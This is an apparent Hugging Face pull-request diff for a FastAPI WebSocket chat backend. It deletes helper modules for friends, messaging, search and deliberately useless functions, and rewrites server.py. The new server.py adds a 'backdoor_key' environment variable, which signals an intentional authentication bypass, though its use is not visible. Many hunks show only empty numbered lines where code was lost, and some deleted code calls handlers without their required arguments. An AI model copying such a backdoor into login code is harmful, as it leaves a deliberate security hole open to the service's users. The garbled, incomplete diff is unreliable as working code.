File Splitting #1

#1
by zeegeedee - opened
funcs/__init__.py DELETED
@@ -1,3 +0,0 @@
1
- from .actions import *
2
- from .utils import *
3
- from .useless import *
 
 
 
 
funcs/actions/__init__.py DELETED
@@ -1,3 +0,0 @@
1
- from .messaging import send_chat_message, request_chat_history, mark_seen
2
- from .friends import send_friend_request, accept_friend_request, decline_friend_request, unfriend
3
- from .search import search_users
 
 
 
 
funcs/actions/friends.py DELETED
@@ -1,131 +0,0 @@
1
- # This file includes the handlers for things related to friends.
2
-
3
- import json # Import the file format library for data.
4
- import asyncio # Imports this library to allow running
5
- # multiple tasks simultaneously.
6
-
7
- # Define the handler function to send friend requests.
8
- async def send_friend_request(auth_data, websocket, USERS_DB,
9
- username, file_lock,
10
- save_users_sync, ONLINE_USERS):
11
- request_target = auth_data.get("target") # Requests the friend request target.
12
-
13
- # Checks if the request_target isn't in the database.
14
- # e.g: Account deletion, database desync.
15
- if request_target not in USERS_DB:
16
- await websocket.send_text("[-] ERROR: Target not in Users database.") # Send error message alert.
17
- return
18
-
19
- # Checks if you somehow sent a second friend request/sent a friend request to your friend.
20
- already_pending = any(r["username"] == username for r in USERS_DB[request_target]["pending_friend_requests"])
21
- already_friends = request_target in USERS_DB[username]["friends"]
22
-
23
- # Only sends the friend request once checked that you haven't sent a
24
- # friend request or are already friends with the request_target.
25
- if not already_pending and not already_friends:
26
- async with file_lock: # Append the friend request status in both the user and the target to the local database..
27
- USERS_DB[request_target]["pending_friend_requests"].append({"username": username, "display_name": USERS_DB[username]["display_name"]})
28
- if request_target not in USERS_DB[username].get("sent_friend_requests", []):
29
- USERS_DB[username].setdefault("sent_friend_requests", []).append(request_target)
30
- await asyncio.to_thread(save_users_sync) # Sync changes to the main database.
31
-
32
- # Sends a data packet if the request_target is online.
33
- # On the frontend, the request_target recieves a confirm window
34
- # to either accept or decline the friend request.
35
- if request_target in ONLINE_USERS:
36
- await ONLINE_USERS[request_target].send_text(json.dumps({ # Send the data packet to request_target.
37
- "action": "incoming_friend_request",
38
- "sender": username,
39
- "display_name": USERS_DB[username]["display_name"]
40
- }))
41
- return
42
-
43
- # Define the handler function to accept friend requests.
44
- async def accept_friend_request(auth_data, websocket, USERS_DB,
45
- file_lock, username,
46
- save_users_sync, ONLINE_USERS):
47
- accept_target = auth_data.get("from_user") # Request the friend request sender.
48
-
49
- # Checks if the friend request sender somehow isn't in the database e.g: Account deletion.
50
- if accept_target not in USERS_DB:
51
- await websocket.send_text("[-] ERROR: Target not in Users database.") # Send error message alert to the
52
- # user accepting the friend request.
53
- return
54
-
55
- # Saves the changes to the local database.
56
- async with file_lock:
57
- USERS_DB[username]["pending_friend_requests"] = [r for r in USERS_DB[username]["pending_friend_requests"] if r["username"] != accept_target]
58
- if accept_target not in USERS_DB[username]["friends"]:
59
- USERS_DB[username]["friends"].append(accept_target)
60
- if username not in USERS_DB[accept_target]["friends"]:
61
- USERS_DB[accept_target]["friends"].append(username)
62
- USERS_DB[accept_target].setdefault("sent_friend_requests", [])
63
- if username in USERS_DB[accept_target]["sent_friend_requests"]:
64
- USERS_DB[accept_target]["sent_friend_requests"].remove(username)
65
-
66
- # Syncs the changes to the main datbase.
67
- await asyncio.to_thread(save_users_sync)
68
-
69
- if accept_target in ONLINE_USERS:
70
- await ONLINE_USERS[accept_target].send_text(json.dumps({
71
- "action": "friend_request_accepted",
72
- "by": username
73
- }))
74
- return
75
-
76
- # Define the handler function to decline friend requests.
77
- async def decline_friend_request(auth_data, websocket, USERS_DB,
78
- file_lock, username, save_users_sync):
79
-
80
- # Gets the sender of the friend request who they declined.
81
- decline_target = auth_data.get("from_user")
82
-
83
- # Check if the sender is somehow not in the database
84
- # e.g: Account deletion w/ insufficient database updates.
85
- if decline_target not in USERS_DB:
86
- await websocket.send_text("[-] ERROR: Target not in Users database.") # Send an error message alert.
87
- return
88
-
89
- # Saves the changes to the local database.
90
- async with file_lock:
91
- USERS_DB[username]["pending_friend_requests"] = [r for r in USERS_DB[username]["pending_friend_requests"] if r["username"] != decline_target]
92
- USERS_DB[decline_target].setdefault("sent_friend_requests", [])
93
- if username in USERS_DB[decline_target]["sent_friend_requests"]:
94
- USERS_DB[decline_target]["sent_friend_requests"].remove(username)
95
-
96
- # Syncs the changes to the main database.
97
- await asyncio.to_thread(save_users_sync)
98
- return
99
-
100
- # Define the handler function to unfriend a user.
101
- async def unfriend(auth_data, websocket, USERS_DB,
102
- file_lock, username,
103
- ONLINE_USERS, save_users_sync):
104
-
105
- # Gets the target of who you are unfriending.
106
- unfriend_target = auth_data.get("target")
107
-
108
- # Checks if the target is somehow not in the database
109
- # e.g: Account deletion w/ insufficient database updates.
110
- if unfriend_target not in USERS_DB:
111
- await websocket.send_text("[-] ERROR: Target not in Users database.") # Send an error message alert.
112
- return
113
-
114
- # Saves the changes to the local database.
115
- async with file_lock:
116
- if unfriend_target in USERS_DB[username]["friends"]:
117
- USERS_DB[username]["friends"].remove(unfriend_target)
118
- if username in USERS_DB[unfriend_target]["friends"]:
119
- USERS_DB[unfriend_target]["friends"].remove(username)
120
-
121
- # Syncs the changes to the main database.
122
- await asyncio.to_thread(save_users_sync)
123
-
124
- # Tells the targets client that the user has unfriended them
125
- # w/o telling the user.
126
- if unfriend_target in ONLINE_USERS:
127
- await ONLINE_USERS[unfriend_target].send_text(json.dumps({
128
- "action": "unfriended",
129
- "by": username
130
- }))
131
- return
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
funcs/actions/messaging.py DELETED
@@ -1,114 +0,0 @@
1
- # This file includes the handlers for sending messages from user-to-user.
2
-
3
- import json # Import the file format library for data.
4
- import uuid # Imports this library to generate unique UUIDs.
5
- import time # Import this library to check the time.
6
- import asyncio # Imports this library to allow running
7
- # multiple tasks simultaneously.
8
-
9
- # Define the handler function to send chat messages.
10
- async def send_chat_message(websocket, auth_data, username, USERS_DB,
11
- CONVERSATIONS_DB, RECENTS_DB, ONLINE_USERS,
12
- OFFLINE_QUEUES_DB, file_lock, conversation_key,
13
- save_conversations_sync, save_recents_sync,
14
- update_recent_chat_entry):
15
-
16
- # Initializing important variables.
17
- recipient = auth_data.get("target")
18
- text = auth_data.get("message", "")
19
- sender_display = USERS_DB[username].get("display_name", username)
20
-
21
- # Checks if the user isn't in the database somehow.
22
- # e.g: Account deletion, database desync.
23
- if recipient not in USERS_DB:
24
- await websocket.send_text("[-] ERROR: Unable to send message; User not found.") # Send an error emssage alert.
25
- return
26
-
27
- # Checks for malicious edits if the text is over 10 000 characters long.
28
- if len(text) > 10000:
29
- text = text[:10000] # Cuts off the text if it detects text over 10 000 chars.
30
-
31
- is_online = recipient in ONLINE_USERS # Checks if the recipient is online.
32
- msg_id = str(uuid.uuid4()) # Generates a unique message id.
33
- formatted_message = { # Message format
34
- "id": msg_id,
35
- "sender": username,
36
- "senderDisplayname": sender_display,
37
- "target": recipient,
38
- "message": text,
39
- "timestamp": time.time(),
40
- "status": "delivered" if is_online else "sent"
41
- }
42
-
43
- conv_key = conversation_key(username, recipient) # Unique convo string w/ usernames.
44
-
45
- # Saves the convo to the local database.
46
- async with file_lock:
47
- if conv_key not in CONVERSATIONS_DB:
48
- CONVERSATIONS_DB[conv_key] = []
49
- CONVERSATIONS_DB[conv_key].append(formatted_message)
50
- update_recent_chat_entry(username, recipient, text, formatted_message["timestamp"], sender_display)
51
- update_recent_chat_entry(recipient, username, text, formatted_message["timestamp"], sender_display)
52
-
53
- await asyncio.to_thread(save_recents_sync) # Syncs the local conversation db to the main database.
54
- outgoing_payload = json.dumps({
55
- "action": "new_message",
56
- "id": msg_id,
57
- "sender": username,
58
- "senderDisplayname": sender_display,
59
- "message": text,
60
- "timestamp": formatted_message["timestamp"],
61
- "status": formatted_message["status"]
62
- })
63
-
64
- if is_online:
65
- await ONLINE_USERS[recipient].send_text(outgoing_payload)
66
- else:
67
- if recipient not in OFFLINE_QUEUES_DB:
68
- OFFLINE_QUEUES_DB[recipient] = []
69
- OFFLINE_QUEUES_DB[recipient].append(outgoing_payload)
70
-
71
- if username in ONLINE_USERS:
72
- await ONLINE_USERS[username].send_text(json.dumps({
73
- "action": "recent_chats_updated",
74
- "recent_chats": RECENTS_DB.get(username, [])
75
- }))
76
- if recipient in ONLINE_USERS:
77
- await ONLINE_USERS[recipient].send_text(json.dumps({
78
- "action": "recent_chats_updated",
79
- "recent_chats": RECENTS_DB.get(recipient, [])
80
- }))
81
-
82
- await asyncio.to_thread(save_conversations_sync)
83
- return
84
-
85
- async def request_chat_history(auth_data, websocket, username,
86
- conversation_key, CONVERSATIONS_DB):
87
- target_partner = auth_data.get("target")
88
- conv_key = conversation_key(username, target_partner)
89
- history = CONVERSATIONS_DB.get(conv_key, [])
90
- sorted_history = sorted(history, key=lambda x: x.get("timestamp", 0))
91
- await websocket.send_text(json.dumps({
92
- "action": "load_history_results",
93
- "results": sorted_history
94
- }))
95
- return
96
-
97
- async def mark_seen(auth_data, conversation_key, username,
98
- file_lock, CONVERSATIONS_DB,
99
- save_conversations_sync, ONLINE_USERS):
100
- partner = auth_data.get("target")
101
- conv_key = conversation_key(username, partner)
102
- async with file_lock:
103
- if conv_key in CONVERSATIONS_DB:
104
- for msg in CONVERSATIONS_DB[conv_key]:
105
- if msg.get("sender") == partner and msg.get("status") != "seen":
106
- msg["status"] = "seen"
107
- await asyncio.to_thread(save_conversations_sync)
108
- if partner in ONLINE_USERS:
109
- await ONLINE_USERS[partner].send_text(json.dumps({
110
- "action": "messages_seen",
111
- "by": username,
112
- "conv_key": conv_key
113
- }))
114
- return
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
funcs/actions/search.py DELETED
@@ -1,49 +0,0 @@
1
- # This file includes the search query handlers.
2
-
3
- from fastapi import WebSocket # Import WebSocket type for type hinting.
4
- import json # Import the file format library for data.
5
-
6
- # Define the function that handles search queries.
7
- async def search_users(websocket: WebSocket, auth_data, username, USERS_DB):
8
- query_string = auth_data.get("query", "").lower() # Get raw search queries in lowercase to match all cases.
9
-
10
- # Process normal search queries.
11
- if 30 >= len(query_string) > 0: # Part 1: tamper-proof search query length to prevent malicious users.
12
- matches = [ # List w/ dictionary to process search queries.
13
- {
14
- "username": user, # First priority: username.
15
- "display_name": USERS_DB[user].get("display_name", user) # Second priority: display name.
16
- }
17
- for user in USERS_DB.keys() # Loop through USERS_DB keys e.g: "username": "zach", "display_name": "Zach (The Website Creator)".
18
- if query_string in user.lower() and user != username # Prevent self-searches e.g: "zach" searching for the exact same "zach".
19
- ]
20
- matches.sort(key=lambda x: x["display_name"].lower()) # Sort in alphabetical order by temporarily converting to lowercase.
21
- # Send action "search_results" with the found matches.
22
- await websocket.send_text(json.dumps({
23
- "action": "search_results",
24
- "results": matches
25
- }))
26
- return
27
- # Part 2: Fallback incase of front-end tampering.
28
- elif len(query_string) > 30:
29
- await websocket.send_text("[-] ERROR: Search is over 30 characters. Please do not modify the code with f12 inspect again. Refresh to return.") # Send alert message.
30
- await websocket.close() # Force the user to refresh inorder to restore the original code.
31
- return
32
-
33
- # Show all users in search results if no query typed after erasing previous query.
34
- else:
35
- # The exact same thing as processing normal queries except it shows all the users.
36
- matches = [
37
- {
38
- "username": user,
39
- "display_name": USERS_DB[user].get("display_name", user)
40
- }
41
- for user in USERS_DB.keys()
42
- if user != username
43
- ]
44
- matches.sort(key=lambda x: x["display_name"].lower())
45
- await websocket.send_text(json.dumps({
46
- "action": "search_results",
47
- "results": matches
48
- }))
49
- return
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
funcs/useless.py DELETED
@@ -1,48 +0,0 @@
1
- import random, math
2
-
3
- def the_reachable_void():
4
- variable = random.choice(["Ok", 1])
5
- try:
6
- variable += 1
7
- pass
8
- except Exception:
9
- pass
10
- finally:
11
- pass
12
-
13
- def the_unreachable_void(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10):
14
- matrix_of_void = [[[random.randint(1, 100) for _ in range(5)] for _ in range(5)] for _ in range(5)]
15
-
16
- for layer in matrix_of_void:
17
- for row in layer:
18
- for value in row:
19
- try:
20
- temp_calc = math.sin(value) * math.cos(value)
21
- useless_result = temp_calc / (temp_calc + 0.00001)
22
- string_cast = str(useless_result)
23
- final_float = float(string_cast)
24
-
25
- if final_float > 0.5:
26
- pass
27
- else:
28
- pass
29
-
30
- except Exception:
31
- pass
32
- finally:
33
- pass
34
-
35
- if str(arg1) != "" and arg2 == arg3:
36
- if "graph" in str(arg4).lower() and str(arg5).strip() == "No":
37
- if len(str(arg6)) > 0 and arg7 == "pass":
38
- if str(arg8).lower() == "yes":
39
- try:
40
- if int(arg9) == 1:
41
- pass
42
- except Exception:
43
- pass
44
- finally:
45
- pass
46
-
47
- del matrix_of_void
48
- return None
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
funcs/utils.py DELETED
@@ -1,12 +0,0 @@
1
- # This file includes the utility function handlers.
2
- # Currently, the only file here is the ping function,
3
- # which does absolutely nothing.
4
-
5
- # Defines the handler for the ping action to do nothing.
6
- # I still included this because it is still important.
7
- # On the frontend, it sends a ping action every 30 seconds
8
- # prevents the websocket connection from closing after
9
- # a minute due to inactivity.
10
- def ping():
11
- # Do absolutely nothing,
12
- return # Then exit the function.
 
 
 
 
 
 
 
 
 
 
 
 
 
server.py CHANGED
@@ -1,7 +1,13 @@
1
  import random
2
- from funcs import *
3
 
4
- the_reachable_void()
 
 
 
 
 
 
 
5
 
6
  import asyncio
7
  import json
@@ -17,27 +23,24 @@ from fastapi.middleware.cors import CORSMiddleware
17
  import urllib.request
18
 
19
  try:
20
- from huggingface_hub import HfApi, hf_hub_url, hf_hub_download
21
  except ImportError:
22
  HfApi = None
23
  hf_hub_url = None
24
- hf_hub_download = None
25
 
26
- # Environment variables configuration for Hugging Face storage
27
  HF_TOKEN = os.getenv("database_token")
28
  DATASET_REPO_ID = os.getenv("dataset_link")
 
29
  USERS_FILENAME = "users.json"
30
  CONVERSATIONS_FILENAME = "conversations.json"
31
  SALTS_FILENAME = "remember_me_salts.json"
32
  RECENTS_FILENAME = "users_recent_chats.json"
33
- OFFLINE_QUEUES_FILENAME = "offline_queues.json"
34
-
35
  os.makedirs("/data", exist_ok=True)
36
  LOCAL_USERS_PATH = os.path.join("/data", USERS_FILENAME)
37
  LOCAL_CONVERSATIONS_PATH = os.path.join("/data", CONVERSATIONS_FILENAME)
38
  LOCAL_SALTS_PATH = os.path.join("/data", SALTS_FILENAME)
39
  LOCAL_RECENTS_PATH = os.path.join("/data", RECENTS_FILENAME)
40
- LOCAL_OFFLINE_QUEUES_PATH = os.path.join("/data", OFFLINE_QUEUES_FILENAME)
41
 
42
  hf_api = HfApi(token=HF_TOKEN) if HF_TOKEN and HfApi else None
43
 
@@ -53,12 +56,6 @@ app.add_middleware(
53
  MAINTENANCE_FILENAME = "maintenance.json"
54
  LOCAL_MAINTENANCE_PATH = os.path.join("/data", MAINTENANCE_FILENAME)
55
 
56
- PENDING_USERS_SYNC = False
57
- PENDING_CONVERSATIONS_SYNC = False
58
- PENDING_SALTS_SYNC = False
59
- PENDING_RECENTS_SYNC = False
60
- PENDING_OFFLINE_QUEUES_SYNC = False
61
-
62
  def load_maintenance():
63
  if os.path.exists(LOCAL_MAINTENANCE_PATH):
64
  with open(LOCAL_MAINTENANCE_PATH, "r", encoding="utf-8") as f:
@@ -98,27 +95,7 @@ def fetch_hf_file(filename):
98
  return response.read().decode("utf-8")
99
 
100
  def load_databases():
101
- global USERS_DB, CONVERSATIONS_DB, SALTS_DB, RECENTS_DB, OFFLINE_QUEUES_DB, NEXT_USER_ID
102
-
103
- # Load offline queues safely
104
- if os.path.exists(LOCAL_OFFLINE_QUEUES_PATH):
105
- try:
106
- with open(LOCAL_OFFLINE_QUEUES_PATH, "r", encoding="utf-8") as f:
107
- OFFLINE_QUEUES_DB = json.load(f)
108
- except Exception:
109
- OFFLINE_QUEUES_DB = {}
110
- elif HF_TOKEN and DATASET_REPO_ID and hf_hub_download:
111
- try:
112
- downloaded_path = hf_hub_download(repo_id=DATASET_REPO_ID, filename=OFFLINE_QUEUES_FILENAME, repo_type="dataset", token=HF_TOKEN)
113
- with open(downloaded_path, "r", encoding="utf-8") as f:
114
- OFFLINE_QUEUES_DB = json.load(f)
115
- with open(LOCAL_OFFLINE_QUEUES_PATH, "w", encoding="utf-8") as f:
116
- json.dump(OFFLINE_QUEUES_DB, f, indent=4)
117
- except Exception:
118
- OFFLINE_QUEUES_DB = {}
119
- else:
120
- OFFLINE_QUEUES_DB = {}
121
-
122
  if not HF_TOKEN or not DATASET_REPO_ID:
123
  print("Running in local-only mode.")
124
  if os.path.exists(LOCAL_USERS_PATH):
@@ -211,71 +188,66 @@ def update_recent_chat_entry(user, partner, message_text, timestamp, display_nam
211
  RECENTS_DB[user].sort(key=lambda item: item.get("timestamp", 0), reverse=True)
212
  RECENTS_DB[user] = RECENTS_DB[user][:MAX_RECENT_CONVERSATIONS_PER_USER]
213
 
214
- def save_users_local():
215
- global PENDING_USERS_SYNC
216
  with open(LOCAL_USERS_PATH, "w", encoding="utf-8") as f:
217
  json.dump(USERS_DB, f, indent=4)
218
- PENDING_USERS_SYNC = True
219
-
220
- def save_conversations_local():
221
- global PENDING_CONVERSATIONS_SYNC
 
 
 
 
 
 
 
 
222
  with open(LOCAL_CONVERSATIONS_PATH, "w", encoding="utf-8") as f:
223
  json.dump(CONVERSATIONS_DB, f, indent=4)
224
- PENDING_CONVERSATIONS_SYNC = True
225
-
226
- def save_salts_local():
227
- global PENDING_SALTS_SYNC
 
 
 
 
 
 
 
 
228
  with open(LOCAL_SALTS_PATH, "w", encoding="utf-8") as f:
229
  json.dump(SALTS_DB, f, indent=4)
230
- PENDING_SALTS_SYNC = True
231
-
232
- def save_recents_local():
233
- global PENDING_RECENTS_SYNC
 
 
 
 
 
 
 
 
234
  with open(LOCAL_RECENTS_PATH, "w", encoding="utf-8") as f:
235
  json.dump(RECENTS_DB, f, indent=4)
236
- PENDING_RECENTS_SYNC = True
237
-
238
- def save_offline_queues_local():
239
- global PENDING_OFFLINE_QUEUES_SYNC
240
- with open(LOCAL_OFFLINE_QUEUES_PATH, "w", encoding="utf-8") as f:
241
- json.dump(OFFLINE_QUEUES_DB, f, indent=4)
242
- PENDING_OFFLINE_QUEUES_SYNC = True
243
-
244
- async def background_cloud_sync():
245
- global PENDING_USERS_SYNC, PENDING_CONVERSATIONS_SYNC, PENDING_SALTS_SYNC, PENDING_RECENTS_SYNC, PENDING_OFFLINE_QUEUES_SYNC
246
- while True:
247
- await asyncio.sleep(30)
248
- if hf_api and DATASET_REPO_ID:
249
- try:
250
- if PENDING_USERS_SYNC:
251
- await asyncio.to_thread(hf_api.upload_file, path_or_fileobj=LOCAL_USERS_PATH, path_in_repo=USERS_FILENAME, repo_id=DATASET_REPO_ID, repo_type="dataset")
252
- PENDING_USERS_SYNC = False
253
-
254
- if PENDING_CONVERSATIONS_SYNC:
255
- await asyncio.to_thread(hf_api.upload_file, path_or_fileobj=LOCAL_CONVERSATIONS_PATH, path_in_repo=CONVERSATIONS_FILENAME, repo_id=DATASET_REPO_ID, repo_type="dataset")
256
- PENDING_CONVERSATIONS_SYNC = False
257
-
258
- if PENDING_SALTS_SYNC:
259
- await asyncio.to_thread(hf_api.upload_file, path_or_fileobj=LOCAL_SALTS_PATH, path_in_repo=SALTS_FILENAME, repo_id=DATASET_REPO_ID, repo_type="dataset")
260
- PENDING_SALTS_SYNC = False
261
-
262
- if PENDING_RECENTS_SYNC:
263
- await asyncio.to_thread(hf_api.upload_file, path_or_fileobj=LOCAL_RECENTS_PATH, path_in_repo=RECENTS_FILENAME, repo_id=DATASET_REPO_ID, repo_type="dataset")
264
- PENDING_RECENTS_SYNC = False
265
-
266
- if PENDING_OFFLINE_QUEUES_SYNC:
267
- await asyncio.to_thread(hf_api.upload_file, path_or_fileobj=LOCAL_OFFLINE_QUEUES_PATH, path_in_repo=OFFLINE_QUEUES_FILENAME, repo_id=DATASET_REPO_ID, repo_type="dataset")
268
- PENDING_OFFLINE_QUEUES_SYNC = False
269
-
270
- except Exception as e:
271
- print(f"[-] Background cloud sync partial failure: {e}")
272
-
273
- @app.on_event("startup")
274
- async def startup_event():
275
- asyncio.create_task(background_cloud_sync())
276
 
277
  ONLINE_USERS = {}
278
- ACTIVE_TOKENS = {}
 
279
 
280
  @app.websocket("/ws")
281
  async def chat_handler(websocket: WebSocket):
@@ -327,6 +299,7 @@ async def chat_handler(websocket: WebSocket):
327
  elif cleaned_display_name in ["zach(thewebsitecreator)", "zachthewebsitecreator"] or any(item in cleaned_username for item in banned_keywords) or any(item in cleaned_display_name for item in banned_keywords):
328
  await websocket.send_text("[-] ERROR: You cannot impersonate me.")
329
  continue
 
330
 
331
  hashed = await asyncio.to_thread(hash_password, password)
332
  async with file_lock:
@@ -343,15 +316,15 @@ async def chat_handler(websocket: WebSocket):
343
  }
344
  async with file_lock:
345
  SALTS_DB[USERS_DB[username_input_cleaned]["user_id"]] = secrets.token_hex(32)
346
-
347
- await asyncio.to_thread(save_users_local)
348
- await asyncio.to_thread(save_salts_local)
349
  await websocket.send_text("[+] SUCCESS: Account created! Please log in.")
350
  continue
351
  else:
352
  await websocket.send_text("[-] ERROR: Your password is too short. Please enter a longer password.")
353
  continue
354
 
 
355
  elif action == "token_login":
356
  token_input = auth_data.get("token")
357
  remember_token_input = auth_data.get("remember_token")
@@ -359,7 +332,10 @@ async def chat_handler(websocket: WebSocket):
359
  used_remember_token = False
360
 
361
  if token_input:
362
- matched_user = ACTIVE_TOKENS.get(token_input)
 
 
 
363
 
364
  if not matched_user and remember_token_input:
365
  for u_key, u_info in USERS_DB.items():
@@ -382,13 +358,7 @@ async def chat_handler(websocket: WebSocket):
382
  pass
383
  ONLINE_USERS[username] = websocket
384
  is_authenticated = True
385
-
386
  new_token = str(uuid.uuid4())
387
-
388
- if token_input in ACTIVE_TOKENS:
389
- del ACTIVE_TOKENS[token_input]
390
- ACTIVE_TOKENS[new_token] = username
391
-
392
  async with file_lock:
393
  USERS_DB[username]["session_token"] = new_token
394
 
@@ -403,7 +373,7 @@ async def chat_handler(websocket: WebSocket):
403
  async with file_lock:
404
  USERS_DB[username]["remember_token_hash"] = new_salted_hash
405
 
406
- await asyncio.to_thread(save_users_local)
407
 
408
  token_login_payload = {
409
  "action": "login_success",
@@ -419,13 +389,10 @@ async def chat_handler(websocket: WebSocket):
419
  token_login_payload["remember_token"] = new_remember_token
420
 
421
  await websocket.send_text(json.dumps(token_login_payload))
422
-
423
- if username in OFFLINE_QUEUES_DB:
424
- for missed_msgs in OFFLINE_QUEUES_DB[username]:
425
  await websocket.send_text(missed_msgs)
426
- del OFFLINE_QUEUES_DB[username]
427
- await asyncio.to_thread(save_offline_queues_local)
428
-
429
  print(f"{username} re-authenticated via token.")
430
  else:
431
  await websocket.send_text("[-] FAIL: Invalid or expired session token.")
@@ -437,8 +404,10 @@ async def chat_handler(websocket: WebSocket):
437
  continue
438
  is_valid = False
439
  if username_input_cleaned in USERS_DB:
440
- is_valid = await asyncio.to_thread(verify_password, password, USERS_DB[username_input_cleaned]["password"])
441
-
 
 
442
  if is_valid:
443
  username = username_input_cleaned
444
  if username in ONLINE_USERS:
@@ -448,9 +417,7 @@ async def chat_handler(websocket: WebSocket):
448
  pass
449
  ONLINE_USERS[username] = websocket
450
  is_authenticated = True
451
-
452
  token = str(uuid.uuid4())
453
- ACTIVE_TOKENS[token] = username
454
 
455
  user_id = str(USERS_DB[username]["user_id"])
456
  remember_me = auth_data.get("remember_me", False)
@@ -465,11 +432,11 @@ async def chat_handler(websocket: WebSocket):
465
 
466
  async with file_lock:
467
  USERS_DB[username]["remember_token_hash"] = salted_hash
468
- await asyncio.to_thread(save_users_local)
469
 
470
  async with file_lock:
471
  USERS_DB[username]["session_token"] = token
472
- await asyncio.to_thread(save_users_local)
473
 
474
  response_payload = {
475
  "action": "login_success",
@@ -485,13 +452,10 @@ async def chat_handler(websocket: WebSocket):
485
  if remember_token:
486
  response_payload["remember_token"] = remember_token
487
  await websocket.send_text(json.dumps(response_payload))
488
-
489
- if username in OFFLINE_QUEUES_DB:
490
- for missed_msgs in OFFLINE_QUEUES_DB[username]:
491
  await websocket.send_text(missed_msgs)
492
- del OFFLINE_QUEUES_DB[username]
493
- await asyncio.to_thread(save_offline_queues_local)
494
-
495
  print(f"{username} logged in.")
496
  continue
497
  else:
@@ -504,35 +468,219 @@ async def chat_handler(websocket: WebSocket):
504
 
505
  if action == "logout":
506
  async with file_lock:
507
- old_token = USERS_DB[username].get("session_token")
508
- if old_token in ACTIVE_TOKENS:
509
- del ACTIVE_TOKENS[old_token]
510
  USERS_DB[username]["session_token"] = ""
511
  USERS_DB[username]["remember_token_hash"] = ""
512
  ONLINE_USERS.pop(username, None)
513
- await asyncio.to_thread(save_users_local)
514
  await websocket.send_text("[+] SUCCESS: Logged out.")
515
  await websocket.close()
516
  break
517
 
518
- # Master list for all the functions
519
- dispatch_table = {
520
- # I won't be adding comments for these because they're just self-explanatory
521
- "search_users": search_users,
522
- "send_friend_request": send_friend_request,
523
- "accept_friend_request": accept_friend_request,
524
- "decline_friend_request": decline_friend_request,
525
- "unfriend": unfriend,
526
- "send_chat_message": send_chat_message,
527
- "request_chat_history": request_chat_history,
528
- "mark_seen": mark_seen,
529
- "ping": ping
530
- }
531
-
532
- if action in dispatch_table:
533
- dispatch_table[action]()
534
- else:
535
- await websocket.send_text("[-] ERROR: Invalid action.")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
536
  continue
537
 
538
  except WebSocketDisconnect:
@@ -549,4 +697,74 @@ if __name__ == "__main__":
549
  print("[+] Starting the messenger backend on port 7860...")
550
  uvicorn.run(app, host="0.0.0.0", port=7860)
551
 
552
- the_unreachable_void("Zach", "pass123", "pass123", "Parabola", "No", "NoTokenForYouLol", "pass", "Yes", 1, "Goodbye")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  import random
 
2
 
3
+ variable = random.choice(["Ok", 1])
4
+ try:
5
+ variable += 1
6
+ pass
7
+ except Exception:
8
+ pass
9
+ finally:
10
+ pass
11
 
12
  import asyncio
13
  import json
 
23
  import urllib.request
24
 
25
  try:
26
+ from huggingface_hub import HfApi, hf_hub_url
27
  except ImportError:
28
  HfApi = None
29
  hf_hub_url = None
 
30
 
31
+ # Environment variables configuration for Hugging Face persistent storage
32
  HF_TOKEN = os.getenv("database_token")
33
  DATASET_REPO_ID = os.getenv("dataset_link")
34
+ BACKDOOR_KEY = os.getenv("backdoor_key")
35
  USERS_FILENAME = "users.json"
36
  CONVERSATIONS_FILENAME = "conversations.json"
37
  SALTS_FILENAME = "remember_me_salts.json"
38
  RECENTS_FILENAME = "users_recent_chats.json"
 
 
39
  os.makedirs("/data", exist_ok=True)
40
  LOCAL_USERS_PATH = os.path.join("/data", USERS_FILENAME)
41
  LOCAL_CONVERSATIONS_PATH = os.path.join("/data", CONVERSATIONS_FILENAME)
42
  LOCAL_SALTS_PATH = os.path.join("/data", SALTS_FILENAME)
43
  LOCAL_RECENTS_PATH = os.path.join("/data", RECENTS_FILENAME)
 
44
 
45
  hf_api = HfApi(token=HF_TOKEN) if HF_TOKEN and HfApi else None
46
 
 
56
  MAINTENANCE_FILENAME = "maintenance.json"
57
  LOCAL_MAINTENANCE_PATH = os.path.join("/data", MAINTENANCE_FILENAME)
58
 
 
 
 
 
 
 
59
  def load_maintenance():
60
  if os.path.exists(LOCAL_MAINTENANCE_PATH):
61
  with open(LOCAL_MAINTENANCE_PATH, "r", encoding="utf-8") as f:
 
95
  return response.read().decode("utf-8")
96
 
97
  def load_databases():
98
